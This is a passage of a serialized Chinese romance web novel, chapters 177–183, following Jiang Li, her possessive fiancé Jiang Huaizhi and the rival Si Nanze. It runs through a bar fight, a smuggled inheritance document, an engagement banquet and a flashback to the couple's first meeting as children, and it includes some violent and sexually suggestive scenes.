虽然看不到脸,但是从背影上来看是个美女。于是两个人便走过去,一左一右的坐在了她旁边跟她搭讪。 起初还很正常,姜梨有一搭没一搭的跟他们闲聊。但是过了会,两个人就开始对她动手动脚,其中一个更是想要扯掉她的口罩。 姜梨看著伸过来的咸猪手,暗自冷冷的勾了勾唇。 “砰”的一声。 那个想要扯掉她口罩的男人捂著额角,鲜红色的液体从他的指缝里流了出来,他难以置信的看著握著酒瓶的姜梨。 “臭婊子!你敢砸我!?” 两个男人一瞬间就被点炸了,当即就要对姜梨动手。 然而姜梨动都没有动一下,就这样平静的看著他们。 他们的手还没有碰到她,就被一个人截住了。 “啊——!” 杀猪般的惨叫声顿时响起,声音的分贝甚至盖过了酒吧里的音乐声。 第178章 江淮之你别哭 姜梨看著突然出现的裴安,嘴角不受控制的扬起,眼里也划过一丝精光。 裴安在这里,司南泽也在这里。 “啊啊!!松手!骨头要断了!”那两个人的手被裴安死死捏著,痛苦的惨叫声刺的姜梨耳朵疼。 这里的动静引来了酒吧的安保和经理,姜梨的眼睛蓄上了一层水汽,在经理还没开口之前,指著这两个人就开始控诉:“他们性骚扰我!还打我!幸亏有人见义勇为,不然我今天就完蛋了……” 经理和安保同时看向姜梨手里捏著的酒瓶,上面还有未干涸的血,然后又去看那两个哇哇乱叫的男人,有一个人的小半张脸都被血染红了。 他们面面相觑,嘴角微微抽了一下。 这到底,谁打谁? “报警!我要报警!” “我要验伤!” 就在这个时候,司南泽走了进来。他双眸狭长,眼神凌厉。 姜梨发现他身边没有人搀扶。 他的眼睛,好了? 司南泽准确无误地将目光定在了她身上,眼神柔和了下来。四目相对的一瞬间,姜梨的瞳孔微缩了一下,手掌下意识捏紧了酒杯,然后有些不自然的低下眼,躲避他的目光。 他问:“报什么警?验什么伤?” 经理和保安还没说话,裴安按著两个人面向司南泽,说了三个字:“性骚扰。” “什么性骚扰!老子都没摸到她!” 那个被姜梨开瓢的人叫了起来。 司南泽轻轻地扫了他一眼,“没摸到?” “……” 也就是说准备要摸,但是碰上了硬茬被开瓢了,所以才没摸到。 他眼睛眯了眯,看向他已经止住血的额头,几不可见的笑了一下,“这点伤哪够你验?” 话音刚落,司南泽已经拎起吧台的凳子照著他的脑袋砸了上去,发出一声“桄榔”的闷响。 鲜红色的液体从缓到急的流了出来,男人也被这一下砸晕了过去。 旁边跟他一起的另一个人在司南泽看向他的时候脸色瞬间变得惨白,摇头大喊:“跟我没关系!我没动她!” 他们这边的动静引来了不少看客。 一会人多了会容易被认出来,姜梨一把拽住司南泽衣角,对他摇了摇头。 司南泽放下凳子,顺势牵住她朝著酒吧外走。一边走一边说:“裴安,你处理一下。” “阿愿!” 正当司南泽要把她带上车,姜梨正要钻进车里,一道熟悉的声音突然响了起来。 姜梨的脊背一僵,扭头看向声源处,看到了站在酒吧门口的江淮之。 六月初的天气,他只穿了件休闲的长袖衬衫,是黑色的,衬的他的面板更加冷白,表情淡漠平和,眼神却是又阴又戾。 他不是在北城吗?怎么突然回来了?! 姜梨被他的眼神刺到,往司南泽身后躲了一下,将半边身体藏在他的背后,然后不动声色的把口袋里的一张纸条攥进手里悄悄地塞进了司南泽的裤子口袋里。 “姜时愿。”江淮之看她的动作,眼神更加的冷,就连语气也带了一点怒意,“过来。” 司南泽挡在她身前,连大哥这样的称呼都没喊了,对他道:“你吓到她了。” 江淮之没有理会司南泽,“我再说最后一遍,过来。” 姜梨吸了一口气,挣脱开司南泽的手,朝著江淮之走了过去。 谢铭此时正好把车开了过来。 上了车,关上门,江淮之一把掐住她的脖子,摘掉她的口罩,直接强吻上去。 谢铭面不改色,默默的升起来挡板,然后启动车子。 姜梨连拒绝的机会都没有,就被他撬开了牙关,他的舌头闯了进来,开始攻城掠地,无比强势。 她尝到了酒味,江淮之喝酒了。 车子刚好经过司南泽,就像前几次那样,将里面的场景一览无余。 他低下头,嘴唇拉成了一条笔直的线。 手探向裤袋,摸到了姜梨塞进来的纸条。 …… 姜梨被江淮之扔到了床上,她的身体还在柔软的床铺上弹了一下。 她还没反应过来,江淮之就已经欺身压了下来,亲她的脖颈、锁骨还有肩膀。 正当姜梨想要拒绝的时候,江淮之突然停了下来,然后她就感觉到侧颈有些湿润。 江淮之在哭,他在掉眼泪。 第一次,他第一次在她这里掉眼泪。 她听到他沙哑的声音:“我没有再锁你,也没有限制你的自由。除了隐瞒了你小时候的一些事情以外,我还有哪里做的不好?” “你觉得谢鹤扬和司南泽长得比我好看吗?那我照著他们整个容,你别再离开我行不行?” 失忆后,她第一次见到江淮之就是因为他长得好看才把他带回了家。 他比女孩子长得还要精致,她跟姜祈安说的是这个哥哥长得漂亮,她要他。 也没有人比江淮之对她更好,连姜祈安都不如他,不然她也不会暗恋他这么久。 姜梨看著天花板的灯越来越模糊,她的鼻子发酸,她的手攥著身下的床单,“你喝醉了,今天是意外。我遇到了麻烦,他认出我了,我没有要跟别人跑,你别哭。” 江淮之说了句“没醉”,然后又去亲她。 他的睫毛很长,此时上面挂了几滴泪珠,眼尾也很红,娇艳又脆弱。 姜梨揽住他的脖子,学著他的样子主动伸出舌头去勾他的,热烈又生涩,跟她第一次亲他的时候一样。 江淮之心头一悸,手掌从她的衣服下摆伸了进去。 姜梨和他亲密过很多次,立刻就知道他想干什么,她握住他作乱的手,小声说:“生理期,不可以。” 她的生理期这次推迟了好久,姜梨都已经在怀疑是不是中招了,正准备要去买验孕棒测,然后就突然来了。 江淮之把手掌放到她的小腹上,“疼吗?” 姜梨摇头。 她痛经挺厉害的,但是现在已经第四天了,已经好很多了。 他翻身躺到姜梨旁边,抱著她没了声音。 姜梨能感觉到他身体的变化,“你不难受吗?” “我是ying了,不是吃了春药。你别说话,我抱一会就让你走。” “……”姜梨沉默了一下,然后小声说:“我是说,我可以帮你。” 第179章 她会来到他的世界 “咽下去也没关系。” “用粤语叫声哥哥好不好?” “阿愿好乖。” 姜梨搓洗着手掌,江淮之说过的这些话不断在她耳边重复播放。尤其是她喊完那一声之后,他的闷哼声,低沉又性感。 一想起来,姜梨的脸就止不住的发热。 她又又漱了一次口,还是觉得很怪。 刚刚她刷牙都刷了好几遍,江淮之这个闷骚的老畜生! “去哪?” 姜梨想要进自己的房间,江淮之这时突然出来了。 他的嗓子有些哑,眼睛通红,衬衫和头发都有些乱,可以清晰的看到他的锁骨。 像是被蹂躏过一番的破碎。 妖孽! 就是这张脸,她刚刚就是被他这副皮囊给骗了! 姜梨磨了磨牙,“我要睡觉。” 江淮之扫了眼她握住门把的手,“你不跟我睡?” “……” 姜梨没回答他,但却用行动证明了,她不要跟他睡一个屋。 关上门的时候骂了他一句:“老变态!” 然后江淮之听到了“咔嚓”的一声,姜梨把门反锁了。 他生气了。 刚刚他好像是有点过分。 江淮之在三天前就已经回樱洲了,因为司南泽经常出入祈愿,尤其是姜梨回来以后就更频繁了,所以他就在祈愿泡了三天。 姜梨真的出现在了这里,还想要上司南泽的车,她解释说这是意外。 他怎么信? “伤怎么样?”江淮之给韩斯年打了电话。 韩斯年的右胳膊骨裂,身上有些轻微的擦伤,都是小伤,“没什么问题,姜梨那边你打算怎么办?还回港城吗?” 江淮之:“明天就回,已经跟老太太那边说过了。” 姜梨现在不能待在内地,会出事。 …… 司南泽回了司家老宅。 卧室里没有开灯,窗帘没有拉,屋里被惨淡的月光笼罩。 他坐在床边,手里捏着一张皱巴巴、有些泛黄的纸,指尖有些泛白。 这是姜梨塞给他的,是韩家的继承文书。 字迹是韩老爷子的字迹,清楚的写着继韩斯年后的继承人是司韩野。 上面还有她亲笔写的一句极其简短的话。 “韩家机密——樱花。” 也就是说,现任家主的确是韩斯年,下一任才是司韩野。 韩老爷子根本不可能让一个缉毒警去当韩家的继承人,韩聿言和他的猜测是错的。 司南泽给韩聿言打去了一通电话。 “姜梨还会被送去港城,到时候你想办法把我说过的那些话传达给她。”他对着电话另一头的人吩咐。 韩聿言:“谢鹤枭那边怎么处理?我们最后一批货是他送出去的。” “继续盯着,一旦有异动立刻杀了他。”司南泽连眼睛都没眨一下,说完这句话后就挂断了电话。 司南泽勾了勾唇角,将泛黄的纸折叠起来,姜梨写的那行字在最上方,放在唇边轻吻了一下,喃喃道:“阿愿是你,樱花还是你。” 很快,她就会来到他身边。 漂亮的精灵会进入他的世界。 …… 姜梨又再次回到了江淮之的外祖母家。 成群的保镖被遣散,再次见到季妍,她的心脏被人扯了一下。 她很愧疚,低下头说了句:“对不起季姐姐。” 季妍对她的道歉有些惶恐,立刻回了句:“少夫人无需向我道歉!” 姜梨那一下只是让她陷入了短暂的昏迷而已,并没有伤到她分毫,甚至都没感觉到痛。 这件事就这样翻了篇。 江淮之也跟着来了,晚饭的时候老太太也没有提她逃跑的事情,还一直在给她夹菜,从头到尾都是嘘寒问暖的暖心话。 就像是她逃离港城这件事从来都没有发生过一样。 姜梨的心理压力减轻了不少。 她本意并不想给他们添麻烦,只是她有要做的事,有在意的人,也有要报的仇,她别无选择。 错过了这次,继承文书永远都送不到司南泽手里。 晚上,江淮之独自待在卧室里。 他站在窗前,看着窗外的夜色,眼眸深邃。 姜梨用季妍的手机拨出去的号码已经查找不到有用的信息了,而她自己的手机里除了查到叶辞在出事的时候前几秒还在给她打电话以外,其他的什么都没有,那天来港城接她的女人以及后来在樱洲开车的谢鹤扬,江淮之都查不到一点踪迹。 沈翊是顶级黑客,谢鹤扬是在逃缉毒卧底警察,他们想要抹去这些痕迹不是难事。 那个女人估计也是个大人物,姜梨身边没有废物。 她厉害,她身边的人也是一个顶一个的厉害。 看了眼手腕上的表,已经十点多了。 姜梨这次回来已经搬离了这栋楼,和外祖母住在主楼里。 昨晚亲密过后姜梨又不跟他说话了,和前段时间一样冷淡。 江淮之掐灭烟,下楼去找她。 “管家爷爷,这个上锁的房间是?”姜梨被管家往卧室带的时候,在三楼看到了一扇上了锁的门。 锁已经很旧了,还加了一条古铜色的铁链。 这里的门都可以反锁,为什么要多加一把锁? 管家微微笑了笑:“这个房间是阿野少爷小时候住的房间,他走了之后老夫人就上了这把锁。” 这是江淮之小时候住的房间。 姜梨在这里住了这一小段时间,也多少听了一些关于韩家的事情。江淮之的妈妈叫韩伊,是他们那一代唯一的女眷,非常受宠。 韩家大小姐当初对司承德一见钟情,割断了韩老爷子给她挑好的联姻对象执意要嫁给他。 司家当时虽为豪门,但是和韩家并不匹配。 韩老爷子看不上司家人,他知道司老爷子是靠女人上位的,事后始乱终弃的事情,不肯点头。 韩伊就和韩家断了关系,隐姓埋名的跟司承德,最后生下了江淮之。 后来的事情也就是司承德看上了富家女,对韩伊始乱终弃。 司承德到死都不知道韩伊是港城韩家的千金小姐,也不知道他在九泉之下该是一种什么样的心情。 “那个时候就江淮之和外婆住在这吗?”姜梨问。 管家点了点头,而后又摇头:“六爷后来也住在这,他的眼睛不太方便,是住在另一栋更偏僻的楼里。” 姜梨疑惑:“六爷?” “就是已经去世的聿泽少爷,老爷最疼爱的亲侄子。” 第180章 他一直都在 “韩聿泽……”姜梨眉毛紧皱,大脑里快速的闪过了一个画面。 又是这种感觉。 管家看她脸色有些不太对,有些担忧:“小姐是哪里不舒服吗?” 姜梨摇了摇头,“没有,我就是感觉这个名字我好像在哪里听到过,可能是江淮之提过吧。” 这个话题就这样被掀了过去。 卧室门没有锁,江淮之来的时候姜梨已经睡着了,开着一盏暗灯。 她睡的比前段时间安稳的多,他问了季妍,这一个月内都没有再做过噩梦。 江淮之坐在床边,俯身亲了亲她的眉心。 怕把她吵醒,他没有多待,关门都是小心翼翼的。 姜梨逛到了后花园,季妍和阿野跟着她。 天气越来越热,她也脱掉了外套,只穿了件短袖t恤。 后花园里有一个水池,还挺大的,只是没有蓄水。 她看着那个池子,头隐约有些痛,精神恍惚了一下,脚底不稳差点摔倒。 季妍立刻扶住她,担忧道:“少夫人是哪里不舒服吗?” 姜梨的太阳穴突突的跳着,头疼的好似要裂开,大脑出现了一幅画面,竟和眼前的景象重叠在了一起。 她以前,来过这里。 “没什么。”姜梨指着一处偏僻的小楼对季妍说了句:“我们去那边看看。” 这栋楼被单独隔开了,不比他们常住的那一片那么生机勃勃,里面一片荒芜,落叶都积了厚厚的一层,踩上去发出咔嚓的脆响。 楼房上了锁进不去,姜梨就围着周边转了一圈,在一处地方找到了秋千。 非常的破败,已经不能再坐人了。 姜梨看着那个秋千,一股陌生又熟悉的感觉接踵而至,这个地方她一定来过。 这时晴朗的天突然暗了下来,大片的乌云黑压压的聚集在头顶,季妍扶着姜梨,对她道:“少夫人。快下雨了,我们回去吧。” “嗯。”姜梨应了下来,跟季妍回了主楼。 老夫人坐在客厅的沙发上,她已是高龄,头发已经花白,脸上也满是皱纹。但是穿着大方华贵,依旧精致。 “阿愿这是去哪了?”老夫人说话依旧很清楚,语气和蔼亲切。 季妍退到了佣人层。 “我刚刚随便逛了一下后花园,然后走到了另一个院子里。”姜梨坐到老太太的身边,缓缓开口:“我听管家爷爷说,那里是五爷以前住过的地方。” “你是说聿泽啊。”老太太惋惜的叹了一口气,“以前那孩子最讨喜,只可惜后来因为他爸爸缉毒警的身份,那些毒贩就盯上了我们韩家,聿泽和他的妈妈身为缉毒警的儿子和妻子更是首当其冲,被这些恶人绑走极尽折磨。后来聿泽独自逃了出来,一双眼睛瞎了,整个人都变了。” “毒贩的报复没有因此停止,逃过一次也逃不过第二次、第三次。最后聿泽还是死在了这些畜生手里,他的爸爸在他去世后的第三年也殉职了,韩家也受到了不小的打击,许久才重新调整回来。” “自这些事情之后,韩家就没有再和警务人员有任何来往,也定下了一条不成文的规矩,只要是韩家人,就绝对不允许从警,一旦选择从警就会被逐出家族。” 也就是姜梨在族谱上看到的那句话,归国不归家。 原来是因为这些事情,才会有这样的规矩。 姜梨提出想要看一看韩聿泽的照片,但是老夫人说他的相片没有留下来,当初已经被韩聿泽亲手焚毁了。 也只能作罢。 “外婆,江淮之以前住的那个房间……为什么要上锁啊?”姜梨问。 老夫人看着她:“你是想进去看吗?” 姜梨点头。 “那是阿野自己锁的,钥匙也只有他有。”老夫人笑了笑,拍了拍她的手:“订婚那天阿野就会回来,你到时可以问问他。” 订婚?什么订婚? 姜梨疑惑:“什么?” 老夫人看她满脸不解,也愣了一下,“你们订婚的日子就在下个月初,韩家的直系亲属都会到齐,阿野没和你说吗?” 姜梨摇头。 江淮之只跟她说了十月份要举办婚礼,他从来没跟她说过还有订婚这个流程。 “没关系,现在知道也不迟。”老夫人摸了摸她的头发,“阿野那孩子受的罪不亚于聿泽,他命苦。我虽然年纪大了,但是眼睛还没瞎。我看的出来,他是真的喜欢你,你对他也是同样的情深意重。” “我和他外祖父,他妈妈和他爸爸,我们爱过,但是没有相爱过。孩子,纯粹的爱很难见,能和喜欢的人相爱更是难得。别错过、别遗憾。” …… 七月初,订婚宴。 江淮之回了港城,韩家人来了祖宅。 姜梨在卧室里没有下去,因为她是姜梨,现在还不能见人,所有的流程都由江淮之和外祖母全权处理。 “阿愿的身体不太好,还在修养,不宜见人。”老夫人看向韩家老二夫妇,替姜梨收下了他们二人给姜梨的红包,对他们说:“过了这三月,到了十月十六号那天再见也不迟。” 带来的聘礼和各种礼品都一箱一箱的搬到了姜梨的卧室里,连同韩家老二夫妇给的红包一起。 姜梨这才知道江淮之过继到了韩斯年父母的名下,韩老爷子知道她是姜梨,这是他对江淮之提的要求,是他娶她的代价。 聘礼除了现金、房产、车辆、饰品这些常见的东西以外,还有一份合同。 不是股份转让书,而是财产转让书。 司氏的股份、沈氏、韩家……只要是司韩野的资产,全部都归姜时愿所有。 上面有她的指纹印章,有江淮之的签名,盖了鲜红的公章,日期是三年前。 早在三年前他就把他全部身家都给了她,不管她今天嫁不嫁给江淮之,他的所有都是她的。 他的人,他的命,他的一切,都是她的。 姜梨拿着那份文件的手都在抖。 签这份合同的时候,林遥刚去世不久。姜梨身负重伤在医院养病,她的眼睛也看不到了。 也就是在那个时候,姜祈安和洛骞让她按了一次指印,说是给眼睛做手术需要本人签名。 那一天,江淮之在。 或者说她眼睛看不到的那一段时间里,他也在。 “你跟洛骞去国外的那三个月里我去找过你,我给你递水给你引路,就差没抱着你睡觉了。” 江淮之没有骗她,那一次他真的在。 第181章 是韩聿言给的 因为姜梨情况特殊,订婚宴并未大办,只需韩家的一行人在祖宅吃顿家宴即可。 姜梨不能下楼,她的餐食单独做了出来,由几名佣人送进去。 韩聿言坐在席上,抬头看了眼楼梯的方向,手握住酒杯轻轻晃了晃。 送上来的菜品很精致,是她爱吃的口味。但是姜梨没有什么胃口,随便吃了几口就放下了筷子。 吃剩下的菜被撤了下去。 楼下餐厅的宴席还在继续,姜梨坐了会觉得有些无聊,在那堆天价聘礼里面找到了一些吃的,其中一样让姜梨一眼就注意到了。 在这堆价值千金的礼品里,混着一盒再普通不过的糕点,还是姜梨在港城爱吃的那一家的。 用红色的礼袋装着,如果不是露出来的盒子有些眼熟,姜梨也认不出。 她将东西打开,里面除了一些精致的糕点,还有几张照片。 在看清相片的一瞬,姜梨手里拿着的铁盖就掉在了地上,发出刺耳的响声。 正当她惊疑不定的时候,她听到了外面江淮之跟季妍说话的声音。 除了祖宅里的女佣和管家,季妍今天也一直守在她的卧室门口。 她收拾好情绪,颤颤巍巍的把照片藏进了床垫底下,把这盒糕点重新装回袋子里放好,然后装作若无其事的样子坐回了原位。 江淮之今天穿的是一套黑色的新中式西服,纽扣是盘口,左肩和袖口都有金龙的亮片钉珠,很华丽,和她穿的这身红色的重工秀禾服很搭。 他走过去看着她:“很漂亮。” 衣服是外祖母给她的,按照她的尺寸定做出来的,老太太拿给她的时候眼睛都亮了,姜梨不忍说她不穿。 连同那枚钻戒也戴在了中指上,亮闪闪的。 姜梨注意到江淮之的无名指上也戴了一枚戒指,款式非常简洁,很大气。 手里拿了一个红色的卷轴和印泥,是婚书。 她抿了抿唇,仰起头看着他道:“已经结婚了为什么还要办订婚宴?你没有跟我说。” 江淮之把卷轴打开,和印泥一起放到了桌子上,一边摁手印一边说:“正常流程,得有。” 他摁完就把印泥推到了姜梨面前。 姜梨看着上面的字迹,是江淮之亲手写出来的婚书。 新郎司韩野,新娘姜时愿。 两个不一样的名字,却是相同的一对人。 她抬起胳膊,大拇指沾了印泥,然后摁了上去。 “你是不是早就跟姜祈安说过这件事了?”姜梨放下手,直直的看着他的眼睛,“我在国外的那三个月,你能陪我三天也不是因为被姜祈安打了,而是因为那份财产转让书,是吗?” 她的眼睛看不见,所以上面写的也都是司韩野和姜时愿。 “说对了百分之八十,我的确很早就跟姜祈安摊牌说了想要娶你。”江淮之的表情没有波动,“只有当上司家家主才有资格娶你,也只有当上韩家掌权人才能娶你回家。财产转让书不是别的,那是我娶你的筹码。早在你跟姜祈安说喜欢我之前,我就已经和他说了想要娶你。” “在医院挨打是真的,我没有骗你。” 姜梨一直以为是因为她没藏好,才被姜祈安发现了这样的心思,他才会想方设法的分开他们。 却没想到在江淮之的嘴里听到了完全不一样的东西。 他会离开是因为想要拿回他的东西,然后把这些东西作为筹码来娶她。 而姜祈安则是为了江淮之的未来能够走的更顺畅,也更多的是为了姜梨。 他们谁都不肯跟她说实话,才造成了她误会江淮之心里有别人,很长一段时间都不敢靠近他,一直都在不断内耗。甚至在姜祈安到死的时候,姜梨都还在怪他这样两出狗血的戏码。 如果他们其中一个人跟她说实话,很多遗憾和误会就都不会发生。 她现在也没办法不去怪他。 姜祈安死了,她也只能怪江淮之。 所以姜梨站起来,毫无预兆的给了他一巴掌。在打上去的时候姜梨收了力,没有发出声音,也并不疼。 语气说是打,倒不如说是在拍。 江淮之顺势握住她的手腕,让她的手心贴在他的脸上,姜梨的眼睛通红,“你现在说出来有什么用!你骗了我一件又一件的事,心里还藏着秘密不愿意开口。” “你以前不跟我说实话,现在我也根本不相信你!我讨厌……唔!” 话还没说完,江淮之就已经堵上了她的嘴。 他一点儿不想听她说这句话,吻的很凶。 两个人已经快一个月没见,也有一段时间没有亲密接触过了,姜梨根本招架不住,四肢有些发软。 明明是在抗拒的推他,但是却总有种欲拒还迎的感觉。 姜梨呼吸不过来,他就松开她,等她喘了几下又继续吻上去。 到最后直接把人压到了床上亲。 她没有化妆,也没有抹口红,江淮之不用担心会把她的妆亲花掉而惹的她不高兴,整个房间里都是极其暧昧的声音。 “嗯……江淮之!”在江淮之亲到她耳朵和脖颈的时候,姜梨忍不住哼了一声,抬腿踢他,说话时语气里带了些惊恐:“外面都是人!” 她以为江淮之是想在这里做。 他今晚喝了点酒,亲人的架势又那么强势,姜梨会误会也很正常,她自己都借着酒劲强吻过他。 江淮之停住站了起来,把姜梨也扶了起来。 姜梨的视线在某个地方停了一下,然后迅速移开。 起来了。 “送聘礼的都有谁?”她指了一下那堆聘礼,随口问了一句。 “老头子,韩斯年一家子。”江淮之面不改色的报出来一长串,最后说到韩聿言的时候姜梨手指僵了僵。 她记得这个人,前段时间去看那场音乐会的时候见过。 “哦,韩聿言准备的东西是那一堆吗?” 送上来的东西虽然都是用红色的盒子或者是袋子装的,但是细节上还是有些不一样。 江淮之顺着她指的方向看了一下,然后点了点头。又多看了姜梨两眼,问她:“怎么了?他送上来的东西有什么问题吗?” 姜梨摇了摇头,“没有,所有韩家人我就只见过他一个,就多问两句。” 那个藏着照片的糕点,是韩聿言送上来的。 他认识姜祈安。 第182章 哥哥你长得好漂亮 江淮之不宜在这里待太久,他走的时候检查了一下韩聿言送上来的那份聘礼,没有发现什么问题。 然后才离开。 订婚宴结束的当晚,韩氏就发布了韩家大少爷司韩野和姜时愿将在十月十六号成婚的信息。 紧接着韩斯年的父母就转发了这条公告,并附上了一句文案:儿子司韩野,儿媳姜时愿。 韩斯年也紧随其后。 一连一个星期,港城圈内都在讨论这两件特大新闻。 对于这个多出来的司姓的儿子也见怪不怪。豪门世家,突然多出来一个孩子倒也不奇怪。 港城没有姜家,他们也在猜测姜时愿的身份。豪门里最看重利益,到底是有什么样的家世才能与韩家结亲。 韩家没有做任何回应,就会在暗戳戳的想这个突然多出来的大儿子会不会威胁到韩斯年的地位。但是在生意上遇到韩斯年,他们也不敢问什么,也只是说几句恭喜的话。 日子就这么来到了九月底。 姜梨又逛了一遍后花园,来到了那个已经干涸的喷泉旁边。 上一次她来的时候里面是干涸的,现在却蓄上了清澈的水。天气很晴朗,阳光洒在水面上,波光粼粼的,很是好看。 莫名的她就入了神。 “淹死他!别管!” “她妈妈都不要他,我们管什么?” “快跑快跑!” 耳边响起来“扑通”的一声,一下子拉回了姜梨的思绪。 她拍了拍脑袋,又用力晃了晃。 刚刚那些是她以前经历过的事情,是谁落水了?是谁要被淹死了? 头有些疼,手心也开始发寒。 姜梨回去睡觉,熟睡中进入了一个梦境。 不像之前,这次没有白茫茫的雾,所有的人她都看的清清楚楚。 “这是?” 十五岁的姜祈安抱着五岁的姜梨,问话的人正是韩家的老头子,他回答:“这是我妹妹,姜梨。” 梦境里的韩老爷子没有多少白发,坐在主位上很有威严。他看着姜祈安怀里抱着的女孩,越看越喜欢,“长得很漂亮,跟你妈妈很像,是个美人胚子。” 姜祈安看了眼趴在他肩膀上的姜梨,不着痕迹的苦笑了一下没再搭话。 韩老爷子也不冷场,继续说:“今天是我夫人的寿宴,韩家年轻一辈的子孙也都在现场,跟你妹妹在同一年龄段的虽然少但是也有几个,比她要大一些,不如让她去和他们玩一玩,没准以后还会看对眼结个亲呢!” 姜梨听见有小朋友,立刻就蹬了两下腿,表示她要下去跟他们玩。 本来也是因为今天人多,姜祈安怕她走丢了才这样抱着她。 五岁的孩子总是贪玩的。没有小孩还好说,有小孩的话哪里能抱的住? 姜祈安只好将她放了下来。 她今天穿了一件公主裙,还梳了一个很好看的头发,粉雕玉琢的的确好看。 韩老爷子挥了一下手,管家就迎了上来。 在征求过姜祈安的意见得到了他的允许以后,他就牵着姜梨去了二楼,所有的小孩今天都在那里。 姜梨被牵着,眼睛四处张望。 二楼的大厅装着气球和彩带,装扮的很漂亮。她性格活泼好动,长得又漂亮,非常的讨喜,很快就和这一片的孩子玩到了一起。 整个楼层都是小孩的嬉闹声。 这样的快乐没有持续太久,很快楚云就带着姜月汐和楚家的那几个孩子上来了。 姜梨看着楚云,喊了一声:“妈妈。” 楚云只淡淡的看了她一眼并没有理她,只弯下腰柔声对姜月汐交代了几句就离开了。 姜梨拽着兔子气球线的手紧了紧,眼神黯了下来,满脸的失落。 姜月汐从上来开始就注意到了姜梨手里拽着的兔子气球,飘在空中很大,也很好看。 她比姜梨大两岁,对于这种气球倒也没有多喜欢,但是只要是姜梨的东西她都想要抢到手。 于是她站到姜梨面前,仗着身型比她高大,毫不费力的就把气球抢到了手里,还伸手推了她一把。 姜梨摔到了地上,裙子也被弄脏了,手心被蹭破了一层皮。 她看着姜月汐,从地上爬起来拍了拍身上的灰什么也没说。就当姜月汐跟着一群小孩要走的时候,姜梨抄起一个装满果汁的杯子就砸到了她身上。 姜月汐的白裙子一下子就被果汁浸脏了。 “姜梨!你干什么!” “略略略,谁叫你先推我!活该!”姜梨对她扮了个鬼脸,姜月汐气的想去打她,姜梨就逃。 “楼上不能去!你别追啦!”楚柠歌跟上来,一把抓住沈月汐,“回去告诉你妈收拾她就好了,上面住着韩爷爷大女儿的儿子,脾气可奇怪了。正好姜梨上去了让他教训她!” 姜月汐这才作罢,骂骂咧咧的往回走。 姜梨爬到了四楼。 不似楼下的热闹和亮堂,这里很黑,也很静。 她跑的出了汗,低头看了一下脏掉的裙子,又去看手掌上划破的痕迹,表情垮了下来。 姜梨想不明白,姜月汐干嘛老欺负她,她们明明是亲姐妹。也想不明白楚云为什么对她这么冷漠,明明她们是母女。 想着想着就开始难过了,一难过就开始小声的哭。 她正哭的起劲,一道门就被人打开了。 开门的声音吓了姜梨一跳,下意识就朝着那边看了过去。 一个十几岁的男生站在那里,满脸阴沉的看着她。 姜梨倒没注意到他的表情,全然被他的长相给吸引住了。 他很瘦,墨色的头发留的有些长,皮肤是冷白色,眼睛漆黑。男生穿的衣裤也是黑色的,整个人除了黑就是白,唯独他的嘴唇是殷红色。 姜祈安长得好看,眼前的这个人却比他还要好看一点。 男生看着这个小不点,眉毛一皱,张嘴就要说:“滚……” 姜梨睁大着眼睛看着他:“哥哥,你好靓啊!比女仔仲要靓!” 她说的是粤语,他只听懂了称呼。 不管是大人还是小孩,这里的人都是把他看作是瘟神,更别说对他喊出这样的一句称呼。 小女孩的眼睛很亮很圆,眼睫毛上还挂着晶莹的水珠,眼眶有些红,她哭过。 男生又多观察了她几眼,发现她的手掌被刮破了皮。她长得漂亮,这么一看像个可怜兮兮的奶猫。 那一声即将要吐出来的“滚”字硬生生被他压了回去。 或许是她长得漂亮,或许是受了太多冷眼突然被喊了一声哥哥,又或许只因为无聊。 他竟直接把她带进了房间里,帮她处理了一下手掌上的伤口。 小姑娘倒不怕生,但是怕疼。 他这里没有别的药,只有酒精。用棉签擦上去的时候,她喊了一声,然后泪眼汪汪的跟他说:“哥哥轻一点。” 这一句他听懂了。 “忍着。”他的语调不太柔和,但是动作轻缓了不少。 被他的语气吓到了,瘪了瘪嘴不敢再出声。 消完毒他给她贴了创可贴,然后就开始赶人。 现在下去姜月汐肯定还在,她年纪小个子小,力气自然也小,根本打不过她。姜梨不想下去被欺负,所以不太想走。 她改用普通话问他:“哥哥,你叫什么呀?” 第183章 初见 窗帘拉得很紧,开了暗灯。 偌大的房间里摆了一张床,一个书桌和衣柜,显得格外空荡冷清。 他把酒精放回原位,而后回答:“司韩野。” 姜梨又问:“哥哥,你多大啊?” “十二。” “那你上几年级啊?你应该是在内地上学然后来这里过暑假的?” “……”接二连三的问题让司韩野沉默了,他有些疑惑的看着这个小姑娘,这个年纪的孩子难道话都这么多? 而且,她家大人没教过她不能跟陌生人走的道理? “哥哥,你怎么不说话?” “哥哥……” 司韩野终于忍不住打断她:“再吵我就把你扔出去。” 突然被这么一凶,姜梨就安静了下来,不再说话了。 嘴巴是安静了,眼睛却开始闹了,豆大的泪珠断断续续的往下掉,满脸都写着委屈。 “……”司韩野没见过这样的,他的语气也没有很重,只是在陈述,不知道她在哭什么,有什么好哭的。 他也不会哄小孩。 实在没办法了,从口袋里摸出来一颗糖,剥开镭射炫彩的糖纸,把糖塞进她嘴里,说了句:“不准哭。” 甜味在口腔里弥漫开,姜梨的眼泪停住了。 她的目光被炫彩的糖纸吸引,问他:“这是什么糖,好漂亮。” 司韩野把糖纸扔进垃圾桶,低头看着这个小不点。她身上的公主裙很漂亮,一看就价值不菲。 今天韩家办了宴会,能来的当然都是大人物。这个小孩儿应该是哪一家的千金小姐,被养的这么娇贵,当然没有见过这种几毛钱一颗的糖。 “千纸鹤糖。” 姜梨现在还不知道千纸鹤是什么,只觉得这个名字好听。糖好吃,包装也漂亮,名字还好听,跟他这个人一样。 她嘴里含着糖,口齿有些含糊不清:“在哪里买的?” “江城,我在那里上学。”司韩野顺便回答了她刚刚问过的问题:“六年级。” 他在江城生活,也操着一口没有口音的普通话,姜梨一下子就知道她刚刚夸他的话他可能没有听懂。 于是她又用普通话说了一遍:“刚刚在门口我说的是,哥哥你长得好漂亮,现在我觉得你的名字也好听,跟这个糖一样。” 漂亮是形容女孩子的。 算了,这小姑娘估计连小学都没进,由她去吧。 司韩野还是反驳了她,“两家的野种,哪里好听了。” 这个名字是韩伊给她取的。 韩伊说他是她和司承德生的野种,她把对司承德的恨意都加注在了他身上,所以给他取名司韩野。 姜梨的确还没有上学,也不知道野种是什么意思,正当她要开口的时候,听到了门外姜祈安焦急的声音。 “阿愿!” 司韩野也听到了,注意到她的眼睛亮了起来,意识到是她的家里人找过来了。 他让她自己开门出去,自己躲到了一边。 姜梨是被姜祈安抱走的。 在晚上的时候,姜梨走丢了,误打误撞的跑进了后花园,见到了孤零零坐在秋千上的韩聿泽。 